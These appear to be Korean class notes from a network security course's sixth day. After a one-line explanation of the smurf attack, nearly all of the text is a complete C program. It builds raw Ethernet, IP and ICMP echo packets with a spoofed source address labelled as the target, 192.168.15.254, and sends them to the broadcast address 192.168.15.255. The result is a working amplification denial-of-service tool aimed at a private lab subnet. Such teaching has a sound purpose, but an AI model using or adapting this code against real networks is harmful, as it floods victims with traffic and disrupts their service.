네트워크 보안 수업 6일차 - 코리아 정보보안 IT학원

네트워크 워게임 사이트

wechall.net

smurf attack

출발지를 속인 icmp 패킷을 여러 단말기에 브로드캐스트로 보내면 출발지로 대량의 icmp패킷을 보낼수있음

target : 192.168.15.254

#include <stdio.h>

#include <string.h>

#include <unistd.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <netinet/ip.h>

#include <net/if.h>

#include <net/if_arp.h>

#include <linux/if_packet.h>

#include <linux/if_ether.h>

#include <net/ethernet.h>

#include <arpa/inet.h>

struct eth_header {

        unsigned char dst[6];

        unsigned char src[6];

        unsigned short type;

} __attribute__((packed));

struct ip_header{

        unsigned char hlen:4;

        unsigned char ver:4;

        unsigned char service;

        unsigned short total;

        unsigned short id;

        unsigned char flag;

        unsigned char offset;

        unsigned char ttl;

        unsigned char type;

        unsigned short chk;

        unsigned int src;

        unsigned int dst;

} __attribute__((packed));

struct icmp_header {

        unsigned char type;

        unsigned char code;

        unsigned short chk;

        unsigned short id;

        unsigned short seq;

        unsigned char data[10];

} __attribute__((packed));

unsigned short csum ( unsigned short *buf, int nwords )

{

  unsigned long sum;

  u_short oddbyte;

  register u_short answer;

  sum = 0;

  while( nwords > 1 ) {

  sum += *buf++;

  nwords -= 2;

  }

  if( nwords ==1 ) {

  oddbyte = 0;

  *((u_char *)&oddbyte) = *(u_char *)buf;

  sum += oddbyte;

  }

  sum = (sum >> 16) + (sum & 0xffff);

  sum += (sum >> 16);

  answer = ~sum;

  return (answer);

}

int main(int argc, char *argv[])

{

        int sock = 0;

        struct sockaddr_ll sll;

        struct eth_header eth;

        struct ip_header ip;

        struct icmp_header icmp;

        char data[sizeof( eth ) + sizeof( ip ) + sizeof( icmp )] = {0,};

        //create socket

        sock = socket(PF_PACKET, SOCK_RAW, 0);

        //socket struct

        sll.sll_family = PF_PACKET;

        sll.sll_ifindex = if_nametoindex("enp0s3");

        sll.sll_halen = 6;

        //ether header

        //target mac address

        eth.dst[0] = 0xff;

        eth.dst[1] = 0xff;

        eth.dst[2] = 0xff;

        eth.dst[3] = 0xff;

        eth.dst[4] = 0xff;

        eth.dst[5] = 0xff;

        //src mac address

        eth.src[0] = 0x90;

        eth.src[1] = 0x9f;

        eth.src[2] = 0x33;

        eth.src[3] = 0xec;

        eth.src[4] = 0xd2;

        eth.src[5] = 0xac;

        //type

        eth.type = 0x0008;

        //ip header

        //ver_len

        ip.ver = 0x4;

        ip.hlen  = sizeof( ip ) >> 2;

        //service

        ip.service = 0x00;

        //total

        ip.total   = htons( sizeof( ip ) + sizeof( icmp ) );

        //id

        ip.id      = htons( 0x1234 );

        //flag & offset

        ip.flag    = 0x00;

        ip.offset  = 0x00;

        //ttl

        ip.ttl     = 0x40;

        //type

        ip.type    = 0x01;

        //chk

        ip.chk     = 0x00;

        //src ip

        ip.src     = inet_addr("192.168.15.254");

        //dst ip

        ip.dst     = inet_addr("192.168.15.255");

        ip.chk = csum( (unsigned short *)&ip, sizeof( ip ) );

        //icmp header

        //type

        icmp.type  = 0x08;

        //code

        icmp.code  = 0x00;

        //check sum

        icmp.chk   = 0x00;

        //id

        icmp.id    = htons( 0x1111 );

        //seq

        icmp.seq   = htons( 0x0001 );

        //data

        memcpy( icmp.data, "abcdefghij", 10 );

        icmp.chk = csum( (unsigned short *)&icmp, sizeof( icmp ) );

        memcpy( data, &eth, sizeof( eth ) );

        memcpy( data + sizeof( eth ), &ip, sizeof( ip ) );

        memcpy( data + sizeof( eth ) + sizeof( ip ), &icmp, sizeof( icmp ) );

        int i = 0;

        unsigned char *ptr = data;

        for( i = 0; i < sizeof( data ); i++){

                if( i != 0 && i % 16 ==0 ){ printf("\n"); }

                printf("%02x ", *(ptr+i));

        }

        printf("\n");

        //send

        sendto(sock, data, sizeof(data), 0, (struct sockaddr *)&sll, sizeof(sll));

        return 0;

}